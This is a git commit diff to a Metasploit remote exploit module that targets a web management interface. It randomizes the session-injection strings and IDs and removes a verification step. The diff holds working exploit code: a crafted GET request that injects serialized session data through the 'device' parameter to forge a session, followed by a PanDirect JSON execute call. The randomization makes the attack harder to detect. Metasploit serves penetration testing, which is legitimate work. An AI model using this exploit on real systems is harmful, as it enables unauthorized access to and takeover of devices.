Additional module cleanup

GSoC/Meterpreter_Web_Console
HD Moore 2018-05-06 22:50:13 -05:00
parent 369c74aa19
commit 1f7b13bea8
1 changed files with 6 additions and 14 deletions

View File

@ -71,6 +71,9 @@ class MetasploitModule < Msf::Exploit::Remote
return
end
dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10))
dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10))
user_id = rand(2000).to_s
print_status("Creating our corrupted session ID...")
@ -78,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
# is needed to prevent encoding of the parameters injected into the session
res = send_request_raw(
'method' => 'GET',
'uri' => "/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"
'uri' => "/esp/cms_changeDeviceContext.esp?device=#{dev_str_1}:#{dev_str_2}%27\";user|s.\"#{user_id}\";"
)
unless res && res.body.to_s.index('@start@Success@end@')
print_error("Unexpected response when creating the corrupted session cookie: #{res.code} #{res.message}")
@ -91,18 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
return
end
print_status("Verifying that we can access the debug console with our corrupted session ID...")
res = send_request_cgi(
'method' => 'GET',
'uri' => '/php/utils/debug.php',
'cookie' => cookies,
)
unless res && res.body.to_s.index('Debug Console')
print_error("Unexpected response when validating the corrupted session cookie: #{res.code} #{res.message}")
return
end
create_directory_tid = 713
create_directory_tid = 1 + rand(1000)
create_directory_json = JSON.dump({
"action" => "PanDirect",
"method" => "execute",
@ -194,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Remote
self.service.stop
end
self.service = nil
rescue ::Exception
rescue ::SocketError
end
end
end